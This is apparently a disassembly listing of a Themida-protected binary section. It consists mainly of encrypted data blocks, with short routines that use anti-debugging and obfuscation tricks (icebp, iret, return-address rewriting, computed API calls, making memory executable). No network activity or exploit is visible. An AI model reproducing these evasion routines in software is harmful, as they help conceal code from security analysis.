dd 3E0A62BCh, 1AF131BBh, 0E8FB838Dh, 3563ABB3h, 8361BB90h
dd 0A4F305E9h, 0F60C08Bh, 850FF9B7h, 1, 0E86061F8h, 14h
dd 793A498h, 72424B9Dh, 0A99ABA10h, 0CB986CEDh, 9C9654CCh
dd 815E6160h, 0BCA1CBEBh, 8BFC6175h, 8F0F60C3h, 15h, 10E9h
dd 27C2F000h, 0D932F227h, 0C20E5FC0h, 78DB1A25h, 6E9C5h
dd 0F4ED0000h, 3260D337h, 6AC08B61h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CB80C351h
dd 0BB4E91D4h, 8B665770h, 0BD835EF0h, 7A827F9h, 83097500h
dd 0A80605BDh, 19740007h, 0C08B5350h, 47AB8h, 0CD858900h
dd 8D07A80Eh, 0AAB08A9Dh, 5BD3FF07h, 5BD8358h, 7A806h
dd 53501774h, 47AB8h, 0CD858900h, 8D07A80Eh, 0AAAD2B9Dh
dd 5BD3FF07h, 0FE86058h, 0FB000000h, 66957DD5h, 54E5C24Eh
dd 6FA76389h, 6160AE56h, 840F615Ah, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5DB313
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DB313 proc near ; CODE XREF: Themida_:005DB30Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5DB313 endp
; ---------------------------------------------------------------------------
and [eax], bh
jns short loc_5DB328
icebp
loc_5DB328: ; CODE XREF: Themida_:005DB325j
dec esi
pop ebx
fild word ptr [ecx]
movzx edi, di
mov eax, eax
jmp loc_5DB59C
; ---------------------------------------------------------------------------
pusha
mov cx, ds
test cl, 4
jz loc_5DB378
push 1
push dword ptr [ebp+7A81895h]
lea eax, [ebp+7AB781Ah]
call eax
mov [ebp+7A818F5h], eax
mov edi, esi
shr edi, 0Ch
push 20060000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+7A818F5h]
jmp loc_5DB3AA
; ---------------------------------------------------------------------------
loc_5DB378: ; CODE XREF: Themida_:005DB33Dj
mov byte ptr [ebp+7A80619h], 56h
push 0A9C530DFh
push dword ptr [ebp+7A80CE1h]
lea eax, [ebp+7AB781Ah]
call eax
mov [ebp+7A82DADh], eax
lea eax, [ebp+7A81915h]
push eax
push 40h
push 5
push esi
call dword ptr [ebp+7A82DADh]
loc_5DB3AA: ; CODE XREF: Themida_:005DB373j
popa
retn
; ---------------------------------------------------------------------------
dd 3 dup(0)
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+7AD9F4Bh], eax
mov eax, [edx+0Ch]
mov [ebp+7AD9F43h], eax
mov eax, [edx+10h]
mov [ebp+7AD9F47h], eax
lea esi, [ebp+7AD9F81h]
lea eax, [ebp+5B8EA1h]
call eax
popa
pop edx
retn 0Ch
; ---------------------------------------------------------------------------
mov esi, [ebp+7AD9F4Bh]
mov eax, [ebp+7AD9F43h]
cmp dword ptr [ebp+7AD9F47h], 0
jz loc_5DB40A
mov [esi], eax
jmp locret_5DB40C
; ---------------------------------------------------------------------------
loc_5DB40A: ; CODE XREF: Themida_:005DB3FDj
mov [esi], al
locret_5DB40C: ; CODE XREF: Themida_:005DB405j
iret
; ---------------------------------------------------------------------------
align 10h
dd 0
dd 0D48B5200h, 8428B60h, 9F4B8589h, 0B58D07ADh, 7AD9FD2h
dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 7AD9F4Bh, 8B0004C2h
dd 0AD9F4B85h, 89008B07h, 0AD9F4B85h, 0CF07h, 89600000h
dd 0AD9FA8B5h, 0A4858907h, 8D07AD9Fh, 0A822D585h, 44408B07h
dd 9FE18589h, 0B58D07ADh, 7ADA017h, 8EA1858Dh, 0D0FF005Bh
dd 0A8858B61h, 0C307AD9Fh, 9FA49D8Bh, 0B70F07ADh, 0D8033C43h
dd 3785B8Bh, 0AD9FA49Dh, 24738B07h, 9FA4B503h, 8B5607ADh
dd 738B207Bh, 0A4BD031Ch, 307AD9Fh, 0AD9FA4B5h, 0C983FC07h
dd 9D8B41FFh, 7AD9FA8h, 9503178Bh, 7AD9FA4h, 8A04C783h
dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh
dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
dd 85038604h, 7AD9FA4h, 9FA88589h, 0F08B07ADh, 0C18BCE8Bh
dd 9FE1BD81h, 7ADh, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
dd 12E8C100h, 3FF825h, 0E1BD8B00h, 8307AD9Fh, 8B06070Ch
dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 9FE1BD81h, 7ADh
dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
dd 0E1BD8100h, 7AD9Fh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
dd 0C0600000h, 0CF060883h
; ---------------------------------------------------------------------------
loc_5DB59C: ; CODE XREF: Themida_:005DB331j
lea eax, [ebp+7AD9F4Fh]
mov [ebp+7A828ADh], eax
lea eax, [ebp+7AD9FE5h]
mov [ebp+7A80B0Dh], eax
lea eax, [ebp+7AD9FACh]
mov [ebp+7A80A1Dh], eax
jmp loc_5DB72C
; ---------------------------------------------------------------------------
db 70h, 18h, 72h
dd 7A68EC2Ah, 864C9A82h, 5B58B44Ah, 5056B90Dh, 5356B954h
dd 5858330Dh, 7371CF54h, 2124A63Dh, 0DA701854h, 0DEC464D6h
dd 66B6989Ah, 17140D54h, 12854h, 0
dd 400h, 2 dup(0)
dd 3300h, 0
dd 800h, 0
dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 3Fh dup(0)
; ---------------------------------------------------------------------------
loc_5DB72C: ; CODE XREF: Themida_:005DB5C0j
jmp loc_5DCE9C
; ---------------------------------------------------------------------------
push 7ADA4A9h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADA59Bh
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADA65Eh
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADA764h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADA905h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADAA37h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADAAFAh
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADABE3h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADAE4Ch
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADAF3Ah
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADB002h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADB089h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADB245h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADB77Eh
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7ADB869h
jmp loc_595E45
; ---------------------------------------------------------------------------
db 77h
dd 4C9FAE48h, 26798892h, 25564B2h, 0D92C3BC5h, 0C10211EDh
dd 59A52122h, 31C5F74Ah, 0A1CCF22h, 0E537A8FBh, 50B99AD6h
dd 7A12E552h, 0D516BD58h, 9EF652E4h, 90F2299Dh, 0E4D56254h
dd 544C0312h, 0E0B7204Dh, 0B47A0E52h, 53BC0734h, 6ABE034Fh
dd 0C2B44E7Ch, 3758D8F2h, 36E300Fh, 203A6ABEh, 76D7078Ah
dd 41E3E6CFh, 4C000000h, 6AB08635h, 62BB117Ch, 24F4E622h
dd 2F71F003h, 0D3CF3883h, 0D7726542h, 42960C57h, 0D7147265h
dd 9AD612E4h, 489F046Dh, 8D0D7A0Dh, 3CE2BC9Bh, 0ACC66ABDh
dd 4263931Eh, 0E36FE6D0h, 28000000h, 2012E4D5h, 71DA5793h
dd 72654231h, 0BED8269Ah, 8310023Eh, 41CEC04Ah, 3A517E88h
dd 0B2827482h, 0AEC54C91h, 47C8E93Fh, 72654722h, 65748637h
dd 5D4FD912h, 406D346Ch, 7163B329h, 0B41D80A1h, 7A0D636Fh
dd 0D059102Ah, 3B465CC5h, 0E4646ABDh, 31958AE8h, 0A7907FF1h
dd 0A7C804A4h, 41C8D757h, 36AAB12Ah, 2DBAACE8h, 82965B1h
dd 53802B75h, 67A7D7EAh, 1AD41172h, 0E9634250h, 124EC0EFh
dd 41219020h, 0C39C64BEh, 71E4B87h, 0DD303FDBh, 21FF15E1h
dd 22DB81Bh, 14998F6Ah, 0BD2C0000h, 0C9015463h, 0E5DB2E3Dh
dd 0AB70A19h, 508EE1F0h, 6D76B7C6h, 0FD0C16D4h, 0D5E432AAh
dd 0AEBD4B82h, 8998625Bh, 9F036C4Dh, 0B7A12E6h, 0E9D5C970h
dd 319A9D50h, 72654271h, 417DB939h, 1CEEDF32h, 8AA1D60Dh
dd 10A3C452h, 0D5EC1990h, 512113E3h, 3F64CD30h, 6D7A0D48h
dd 3C0F93FCh, 5E9B6ABDh, 0D6A6986Eh, 8D6C5E9Ah, 6ABD3C11h
dd 0FEF03EB2h, 0BBAD7971h, 8FE4B656h, 4849617Bh, 0E6D04218h
dd 0B024h, 0E4D5DD00h, 57932012h, 0E9849ECBh, 0D5CF8E89h
dd 4E30B2Ch, 72654B65h, 2231FBF4h, 1A0C1ECFh, 0FF2C7729h
dd 0D668D96h, 0C3F50C7Ah, 1BC9D942h, 61E16ABDh, 34B40425h
dd 77326E25h, 0C8CFE14Ah, 86F77267h, 126E851Dh, 69A52563h
dd 5DB9253Ch, 4C2D93Ch, 7B6CDFAh, 0E2FFFF1h, 0AE4876C9h
dd 0B80AB698h, 1EF9912Dh, 13A7h, 62718F3Ah, 3C4BDF0Fh
dd 1827F7E9h, 0EFFE18C5h, 0C5D42E9Ch, 0E0DE5F84h, 38B40716h
dd 518CDFEEh, 7465B8C7h, 765793A2h, 12E7950Dh, 0D37A157Ah
dd 0E00DE9D5h, 9812F6C6h, 5AD8D426h, 5BA0C120h, 3645D708h
dd 12E4D5FFh, 6455F20h, 3F60A3C7h, 0A14CCC5h, 0F701BAE9h
dd 0D32395E8h, 919B54E1h, 91786082h, 0C3622677h, 2FB0C96h
dd 7C4C3EC8h, 0D1D8C85Bh, 857C3BA4h, 2E457A0Dh, 0F9496ABCh
dd 96092679h, 0CB6247AAh, 38A1CED5h, 7ADB4FCBh, 3E2F21A1h
dd 0B11A4762h, 7336BA07h, 8224FCFh, 0ABEFA850h, 0EAB82149h
dd 0C063DF4Ah, 80E30440h, 97A67069h, 6B818B44h, 2C6F2E89h
dd 0E4E7C25Ah, 77000012h, 4C9FAE48h, 26798892h, 25564B2h
dd 0D92C3BC5h, 0C10211EDh, 59A52122h, 31C5F74Ah, 0A1CCF22h
dd 0E537A8FBh, 50B99AD6h, 7A12E852h, 0D516BD58h, 0D00A21E4h
dd 42A7FB46h, 83037265h, 3C645547h, 0AA1E3865h, 0B70F510Fh
dd 0B343756Eh, 0CDE42F92h, 69EA0B1Bh, 7A0D7FA2h, 0F84B5ADAh
dd 0F10835C7h, 69392BFBh, 712F2048h, 0C3F9407Dh, 3505F733h
dd 6781CCF9h, 0BAAFF40Ah, 7DFE1FC7h, 7269F5A1h, 0FB98D4EEh
dd 9FFDA50Eh, 2DAD630Eh, 83491E31h, 9D050087h, 9EBFAE5Ah
dd 8AA1CE4Eh, 65B8C751h, 0BFB0A274h, 529DCAE1h, 4F53BC07h
dd 5B630EDDh, 0DD1290DBh, 2798630Eh, 0EDDE4BEh, 0A46C663h
dd 7E9668E9h, 4CCC6ABCh, 45D7081Fh, 3AC40118h, 12577848h
dd 0AFC0EBFh, 0EF1C8719h, 6359E0D8h, 0D3365793h, 96BED6Ah
dd 0F2EA2763h, 67A37767h, 0AD1D13Ah, 59D953B9h, 0EE73071Dh
dd 54EC3C46h, 11DE79h, 0A8767100h, 82944699h, 5EA82073h
dd 35CFFC4Fh, 0B17D326h, 1728BBFCh, 0ED404FABh, 0C51827FFh
dd 9EF10016h, 90CCDB2Dh, 0E95C46AFh, 0B34E7A12h, 0DE9D50Ch
dd 0E4D4C6E0h, 0BF596273h, 0FEA2599Eh, 142B76A3h, 0B79B8CD6h
dd 0F41B9738h, 0D5F6C6B8h, 0DF09354h, 0F421A17Ah, 0F91AECDDh
dd 818B44D1h, 55A0EB72h, 0BDF0B6ECh, 2974F46Ah, 6ABDF079h
dd 6190B131h, 26719E68h, 0BDF0E5BDh, 2445C56Ah, 0E950BFCh
dd 431DCAE1h, 0A17312CEh, 0D2C40098h, 9687F942h, 0D713EBB4h
dd 0DDEA53B6h, 1772663Bh, 9F41A597h, 0F802BB0Bh, 934B62E9h
dd 0A4C59587h, 0E7148F11h, 56F339Ch, 0CA3B6316h, 16054161h
dd 0ADE96963h, 27C0298Ch, 0D6ABE06h, 9249608Dh, 0C9C29284h
dd 43130511h, 7C6DFA22h, 0B74FB8AAh, 7A316FE3h, 7D88364Dh
dd 6E058E14h, 609C1C5Bh, 7473DC3Fh, 0C0631605h, 0EDDE3140h
dd 4E68291Bh, 0A841099Ah, 63E405DBh, 53C6383Bh, 8155655Bh
dd 5CAFBE48h, 216C9963h, 0FD48D60Ah, 53C618A5h, 3C648505h
dd 214E554Bh, 80228BD6h, 2A53C618h, 0BF0889AAh, 225B6E4Dh
dd 94F2F708h, 2A4B08ECh, 294B5ADAh, 209CB3D4h, 7E22B5D6h
dd 998DF623h, 1953CB1Ch, 30474699h, 9E706CBEh, 5C553D3Dh
dd 666493B4h, 0DF1BEFDFh, 37900EEDh, 0D1CF4470h, 0C244ADDAh
dd 0B04C1DD8h, 0BDAF7B73h, 6A84B1EDh, 221CA82h, 72665FE4h
dd 92083A4h, 0E43746D0h, 0A22F21EBh, 4C4DA24h, 9F174878h
dd 103D2C07h, 11D00000h, 35A5F807h, 497FD2E1h, 6E5BAEBDh
dd 0B4328594h, 0C91A5B6Ah, 0A1B04A78h, 79889E4Eh, 5261B726h
dd 2D3CCEFFh, 0FBA710F1h, 0AF7A12EAh, 8AA16D14h, 26AC035Dh
dd 0B86D5949h, 0BE2C5B7Ch, 0C9025564h, 96BDE54Eh, 0D00E7265h
dd 6A845446h, 2FBCAEEAh, 68647BBEh, 964F539Eh, 0DB5B7265h
dd 9AF3AD9Fh, 0C9BB4783h, 0C2D8D8F9h, 2231FBF4h, 27E86A9Ah
dd 8C3950DFh, 8FB08072h, 11752h, 0E4D50B00h, 5A932012h
dd 960AC1D0h, 1DCA914Eh, 5D5C703h, 64339CC9h, 307A0D6Ah
dd 0BFDFBEB0h, 0E96ABD1Ah, 86B6FBCFh, 92E6D060h, 20h, 742F714Bh
dd 48C5DE47h, 67E77A0Dh, 3C089675h, 86A06ABDh, 423D6D34h
dd 9E49E6D0h, 2000000h, 2012E4D5h, 0D9CB5793h, 3AC40118h
dd 6AF1EA19h, 3966A27Ch, 3B2C9E1Fh, 0FB1C26B5h, 839546D3h
dd 629ACF74h, 0EBF7265h, 6A36EDFCh, 0B0C7123Fh, 1191FA3Dh
dd 99726559h, 3BBCDD19h, 7A1006F3h, 4B718FCFh, 306A8B18h
dd 0C1BDD45Eh, 4480C721h, 38C20017h, 0EE8D629h, 40A56EF8h
dd 5631C925h, 0F0Bh, 0C6D5239Eh, 0A0AF7B73h, 7C8B9B4Dh
dd 5362BC29h, 2938C200h, 8442FBE8h, 0A4186B7Ah, 0FDF04352h
dd 10C91C2Bh, 0DABBF706h, 12EC3171h, 37DE797Ah, 0FE0DE9D5h
dd 0D9E832ABh, 12E4D5A2h, 0D05A9320h, 0AB7D6EC1h, 0D8CA337Eh
dd 0D2726542h, 18093152h, 8BF42188h, 7A0D486Ch, 0E43EABE8h
dd 4AF899A8h, 31000008h, 0E00DE9D5h, 974811C9h, 87574985h
dd 3F5F3E66h, 20726542h, 0D3CF3880h, 0D7726542h, 0A3EE1B57h
dd 6542683Ah, 68D14272h, 7265423Ah, 93B4F070h, 0E447C730h
dd 0BB3B7A12h, 0B446778Eh, 8F9952A5h, 2891DC9Dh, 6AB7A17Ah
dd 2FFBF330h, 10316D3Dh, 319E5E1h, 254778E9h, 485732CAh
dd 0DB00000Eh, 0B00312ECh, 8ADDEC3Eh, 66B9C856h, 3D909F79h
dd 25667581h, 0BD5985BEh, 95615BAEh, 6EB83386h, 49D30C5Fh
dd 0B41DFE3Ah, 7A12ECEEh, 0D57A21BCh, 77FE0DE9h, 9E9A6C60h
dd 0DC4354A4h, 0E9183922h, 0A73426F0h, 0A0B7E436h, 1F83EC2Fh
dd 8B7265E9h, 86AECF0Bh, 0F2C4D6CCh, 0B7022FF9h, 65E9544Eh
dd 0B5D65672h
dd 95B8E870h, 879EDF27h, 44D1C357h, 0BE8E808Ah, 16246182h
dd 0DD000000h, 654D1083h, 132D5A72h, 0BC25CD80h, 7BF819E1h
dd 0FFFFFDFAh, 421B83B4h, 5C447265h, 67AF1845h, 187A12E3h
dd 0A03E64CDh, 0EC6C6AB7h, 0CEFB7BCBh, 0E5F406B7h, 0F8AA135Eh
dd 0B26AB79Fh, 728C3932h, 608FB080h, 0EAAB9D6Fh, 190B17D3h
dd 0CDF92849h, 0E6DF7A71h, 0B83C257Dh, 905856Ah, 44071E1h
dd 47CFD4EEh, 3813AB25h, 0D5Fh, 1A29F7F2h, 0F40317C7h
dd 0D0DF2FA1h, 0A7B6407Dh, 7D8C9654h, 2896A73Ch, 706CBFCEh
dd 894497A6h, 0AC1D707Fh, 2E0F4B5Ah, 12EDDDC5h, 8B32CD7Ah
dd 0B5ED56A1h, 0F5726542h, 0C3DF4875h, 0E7726542h, 0A6174667h
dd 250F2B97h, 55B9C439h, 0B4A6E21Eh, 7264B627h, 2F21F5E5h
dd 0ECDE28A2h, 2D4E688h, 0DE0440CEh, 0B9D0D2E8h, 0A3D2F303h
dd 49D1E02Ah, 0DF283819h, 23F5E8FFh, 3406131h, 24h, 1387A1BCh
dd 0F600BDF7h, 28383404h, 0E566879Bh, 72660CAEh, 38758FBCh
dd 1A8DDDC4h, 0FF4ECBECh, 87FFFFFCh, 47742F71h, 0D4965DEh
dd 615D747Ah, 0D7219C95h, 0B9E666B6h, 7B71DE9Fh, 0F01123B4h
dd 0F8B6E9C8h, 77F46ABCh, 0F8DFC32Ch, 4BCB6ABCh, 11902A2Ah
dd 0E6D081E1h, 8D89ADC7h, 7D6FBB33h, 0E5EEB1ADh, 95635A53h
dd 1E73774h, 55A00000h, 0BD1EB6ECh, 0ECB4F46Ah, 19D08BC6h
dd 0C5D8F935h, 65424B83h, 35849572h, 0DC637284h, 0CFE18C5h
dd 818D433Ch, 6EB83160h, 158DF641h, 0B6726541h, 3101F305h
dd 4E769717h, 6541976Fh, 78CFFC72h, 0F2C2B446h, 8437C4B6h
dd 0B6F204B5h, 0F7C35BC4h, 902ACC9Ch, 74839546h, 0D2C4DFBDh
dd 28919445h, 7265407Ah, 6574B030h, 224FD912h, 5648D20Bh
dd 5E3D6586h, 726540B0h, 7F71F8F3h, 0F48173AFh, 0AE3A2CF6h
dd 40784E5Ch, 4C667AB6h, 641A347Eh, 0EF210B1Ch, 0CBFB5F80h
dd 0D7DF285Ch, 145h, 508AA190h, 0E304D4C6h, 0FFF13BB4h
dd 0A0AF7972h, 0BFECB7E9h, 0F2E436A8h, 359E0122h, 7A0D6A62h
dd 376BD41Fh, 736ABD1Ah, 282D2F3h, 1A6D3110h, 213B6ABDh
dd 5FD80889h, 3DE4E6D0h, 4D000000h, 726E8836h, 7963FF9h
dd 3043648Ah, 47742F71h, 0D48C5DEh, 7567E77Ah, 0BD3C0896h
dd 3486A06Ah, 0D0423D6Dh, 0D40C23E6h, 8F88584Ah, 5D5C753h
dd 0B2A7E4h, 0F9100000h, 0FF1233C3h, 0C35D8AA1h, 0B1E001D1h
dd 6FFCEE38h, 637AA773h, 527A9B67h, 0D50214C5h, 6F80EBEh
dd 60ED1536h, 0E98E9D6Fh, 72655B08h, 8F9E6861h, 0B4E1C8D8h
dd 0FD7E34Bh, 24A2DF7Ah, 0BE27E8DAh, 6ABA7CE4h, 0CE0A46C6h
dd 0C35D8AA1h, 0BA283FA2h, 0C0FE5160h, 1D102036h, 3BD32540h
dd 0AF660h, 0C05E8900h, 9A6C5EB1h, 7680388Bh, 4DD71467h
dd 23FFEB3Eh, 2F10D314h, 55867B3h, 0DD303FD7h, 0B60918EEh
dd 0A8E4F305h, 0F0445EC7h, 0CB667A12h, 0DE9D524h, 4A6FC6E0h
dd 5B4DD90Fh, 9FA18F8Bh, 4985914Bh, 5F90E328h, 5089A0CDh
dd 2960A5C6h, 2012E4D5h, 0F7AB145Fh, 0B3726541h, 0C0B24476h
dd 6493B4F0h, 0F192A16Bh, 42Dh, 0ED56A12Ah, 726542B5h
dd 0F305B8F5h, 0FB0DBEB7h, 0F960DCDAh, 84CFFCA7h, 42D2D039h
dd 58D87265h, 0E471B637h, 19307A12h, 0E23253A3h, 0C0E00F62h
dd 4853BCE9h, 54725FAFh, 9B03E2D4h, 0D630F93h, 0C1DBA7F3h
dd 786664BEh, 0E0DCAC9Eh, 0A1C2865Dh, 7D6D0D3Dh, 38B19EEh
dd 83D20000h, 7265421Bh, 9A6C5D74h, 36B7D8A8h, 72654277h
dd 0E20F9A06h, 0D578E79h, 5066E67Ah, 2542C2EEh, 88661F9h
dd 9B00000Ah, 70C3D22Ch, 4A9DAC7Eh, 26798896h, 0FD505FB9h
dd 0E52635C1h, 7D9945FEh, 55A11B6Eh, 2EF8F346h, 913CC1Fh
dd 74DDBEFAh, 7A12F12Eh, 0D53AE17Ch, 9AE512E4h, 65427131h
dd 98B93972h, 8A217F70h, 0F9A9125Dh, 0D2726541h, 4C1C0E18h
dd 2E91B232h, 12E465C5h, 0C6D5557Ah, 6B5D910Fh, 9DD9A99Bh
dd 43270770h, 6E887265h, 0D3DFA738h, 85413AF6h, 88085879h
dd 7E88445Bh, 1EFCCA6Fh, 0EEB3630Ah, 9953A6B5h, 0DD0E9B8Dh
dd 0D2CB5D8Eh, 0DED00C1Ah, 9E07B3EDh, 630A1C04h, 0A67069A6h
dd 0ACA8E4B4h, 0EC35524h, 0A37736Eh, 7870F9F3h, 0B0ECBCAEh
dd 6ACDEEBEh, 0B2337A01h, 4C62E26Ah, 35E99FD8h, 407853EBh
dd 0D3000009h, 0A8FB0A14h, 82D5E436h, 5EB1C04Eh, 35889761h
dd 1D5E6D89h, 0B5417DC6h, 8D9953A6h, 66B02B7Eh, 41CB0457h
dd 0AC15F632h, 7A12F1F6h, 717219B4h, 0DE47742Fh, 7A12E450h
dd 8690485Fh, 68951565h, 7C8B9B51h, 7163B329h, 0D52199B0h
dd 0A1633FA8h, 0C7476AB7h, 168D13A6h, 42AA80E9h, 90107265h
dd 31C3DD9Eh, 7FBBD0BCh, 346CFF20h, 0F9EB3DB0h, 57C0ED29h
dd 6AB19420h, 6C9EB434h, 3335E96Ah, 8B9C09Bh, 9D4C0000h
dd 0A9217483h, 0C5FB4E5Dh, 0EAD72A39h, 30AE0110h, 4D96D7E6h
dd 1D2CF6F4h, 0F50412CAh, 0CEDD2BA2h, 0A9B8427Bh, 7F238C6Dh
dd 2B7A12F2h, 0E4D5E990h, 42EAB821h, 0E4E17265h, 3E58281Ah
dd 39082BEh, 944E40CAh, 1BA0C9Eh, 42059D06h, 68A57265h
dd 6D69A577h, 5B5F35BAh, 5986C29Bh, 0C4F3253Fh, 6182DC25h
dd 4264941Ch, 0A270DF27h, 29000001h, 0C5538AA1h, 4FE203D3h
dd 0C42D5A51h, 7A0D611Bh, 0B8978909h, 6ABD24E6h, 8F12A8C2h
dd 0E6D0565Fh, 17C6Bh, 0E4D52400h, 5A932012h, 5F51DD13h
dd 8D44538Fh, 26B9813h, 7A0D6A95h, 7D258EFFh, 4E6ABD1Ah
dd 0C9998B9Dh, 82362FAFh, 76B28274h, 87DF2F49h, 0C815637Eh
dd 0FEA07FA7h, 0AA6ABC7Dh, 2D783A90h, 0BC7EDEC4h, 5B8CCC6Ah
dd 6C4FF8E0h, 0EB4F70ACh, 0E6D05ABBh, 0B5ED56A1h, 0F56ABD28h
dd 0B9F507B8h, 545B98h, 71140000h, 0FC47742Fh, 0A5FD66B1h
dd 5726542h, 42683A85h, 0C2427265h, 488320A1h, 0A9297A0Dh
dd 3CC6D8B7h, 0CEFD6ABDh, 0B94638h, 544A04F6h, 9C192D46h
dd 69D25385h, 6ABD3C39h, 0C3B5F171h, 0AC880533h, 0C3FFBE98h
dd 8908A2A2h, 0E6D0A959h, 0AD65h, 8AA11E00h, 6D6C856h
dd 0F305B6E5h, 0AC767401h, 6ABC2DBAh, 28F2EB78h, 4F7B9219h
dd 0D0F1C1B3h, 655E8A4Fh, 0EC3EAF72h, 484CA5BFh, 0C7BB6AE9h
dd 0C0DA61A6h, 2B2A5485h, 0D46788FDh, 91A8D5CCh, 0CDCCE58h
dd 0F1F88EBh, 0B37A0F45h, 0F3EF0633h, 46911827h, 1D68B22Fh
dd 6AB9EA85h, 5584A525h, 61778D69h, 225418Fh, 6FD8F6Ah
dd 51900000h, 7565B8C7h, 893F92A1h, 0AE1B6E7Dh, 0F4F24554h
dd 9DA1B2Ah, 61708A38h, 3948DE0Eh, 1221F7E6h, 0EDFC0EBFh
dd 3B67D0B1h, 6F7A12F4h, 8AA12DD4h, 6D6C856h, 0EE08B6E5h
dd 0C9538CDFh, 0E4D583BAh, 455F2012h, 189E71F7h, 2F5E7F94h
dd 0BC5D6CBEh, 49h, 0B0F906F5h, 418CB9F0h, 4465B32Ah, 12E465C3h
dd 7ED1517Ah, 19FAAE4h, 0A15250B9h, 0D8586AB7h, 23066F9Ch
dd 95726543h, 0A0926458h, 506794D0h, 0B1FCF9Eh, 1B0D4919h
dd 0B1F15Ah, 79F9630Ah, 7A931C3Dh, 3Ah, 742F71B3h, 77E9DE47h
dd 0DEF87A0Dh, 504681A1h, 4696B729h, 0A8F5D4C6h, 1A6ABCCAh
dd 86904E65h, 1D556565h, 92FB2883h, 72651F35h, 0CE2895ACh
dd 0CEDD5DADh, 0AE2Dh, 2F716600h, 48DE4774h, 6A7A12E4h
dd 36A6BDEAh, 8A48BFE0h, 6634CE04h, 0D5DCEB1Bh, 0A5B7D1E6h
dd 77D244B1h, 73D31031h, 8C000000h, 47742F71h, 7B6DBF30h
dd 0BE278AABh, 7A12E469h, 0CC8ACB4Bh, 247610C2h
dd 0F8AA135Eh, 0B26AB7A0h, 7DAD1132h, 63E6D5DDh, 16C79E4Ch
dd 6421204h, 0E6234414h, 3Ah, 0B680384Fh, 7CFCC75Fh, 7E9FDBC2h
dd 0B72F716Bh, 72843801h, 8274B080h, 0E04976B2h, 7A12E448h
dd 0EFADEE6Eh, 199339Fh, 0D5D95080h, 195CE6h, 0AEC50000h
dd 25F5E731h, 0F083F104h, 3A72655Dh, 0FFFF20F3h, 17C5DCFFh
dd 71CBDEFFh, 0FC47742Fh, 65420F93h, 6E5E9B72h, 0D83B5C98h
dd 12E38B6Fh, 5D4FCF7Ah, 3FB0346Ch, 1B84B1EDh, 7265420Eh
dd 0B2FD2AAAh, 9FF5949h, 0B0D15163h, 0A2099788h, 0D6132A75h
dd 30995A4Ch, 6309FF72h, 5B7CB838h, 0B7A124DAh, 91BE3E6Ah
dd 0A7B6407Ah, 339B0F0h, 3015AA0Ah, 0C6113E7Ah, 0FBED39AFh
dd 0B4A6706Eh, 687A8E4h, 6309F628h, 2F115A9Ah, 86C821AEh
dd 0D7061D4Ah, 468D3241h, 0E7EBD577h, 9F7B67F6h, 0EAE4DDADh
dd 225E2E20h, 0FD0FC013h, 1B861A0Bh, 3B4285EEh, 32B2C330h
dd 0F03AB340h, 0AC7A71FEh, 0B00A00BAh, 597113E3h, 0FDA50E59h
dd 0ADB3E004h, 6DB7342Dh, 5B8AAB7Bh, 36899862h, 0F27F7187h
dd 0D73C2EF8h, 822089D4h, 28B3E005h, 338787A8h, 916B586Fh
dd 7FAECF9Fh, 58ABBA4Ch, 4F669365h, 41698A9Ch, 0C802B7E5h
dd 5BEE44Dh, 6CECB3E0h, 39B13E30h, 1D6FFBEDh, 0EA368Dh
dd 251CC891h, 10AAE6E9h, 0D40117C6h, 6F822089h, 0A828B3DFh
dd 0A10B4287h, 42B5ED56h, 75F57265h, 0D8DEC154h, 6542336Fh
dd 0BBF77772h, 79833CC9h, 0D8231E87h, 6542336Fh, 0D6F77772h
dd 73BEC4D6h, 4A88A359h, 9FEA6585h, 7265B603h, 0E7011BC8h
dd 0ECB34667h, 6455A8B7h, 0FC935192h, 0FBED39B3h, 0B7A97F6Eh
dd 0E0B307FDh, 875F6B13h, 0A671C456h, 11F0E234h, 7265B691h
dd 0AA135E63h, 7265B5F8h, 0CAD841B2h, 0E07265B6h, 3032460h
dd 5BAF1FB7h, 54A6172Eh, 209BEE33h, 5B92A9D6h, 60AD1CDh
dd 1157ACA7h, 0B6E9C8F0h, 0D67265B4h, 0C9E0A2F8h, 0B5E40511h
dd 3CE1F006h, 7265D4ABh, 0E6043967h, 0D7EEDF27h, 0EDB51EEBh
dd 0BD72659Ch, 0A3E0013Dh, 0FFFFFF43h, 52E4D55Ch, 0A01B8D7Bh
dd 98946456h, 99D59B76h, 7486378Ah, 818B4433h, 0B6D01F40h
dd 62119D6Ah, 9E9EBFFDh, 0F701BA0Ch, 6874A4A4h, 2B80DF27h
dd 39000000h, 47742F71h, 12E44BDEh, 0ACED6D7Ah, 0EEDAA1EEh
dd 0EBFD6DCh, 193A0AFCh, 628F1A86h, 654330F9h, 0B5088872h
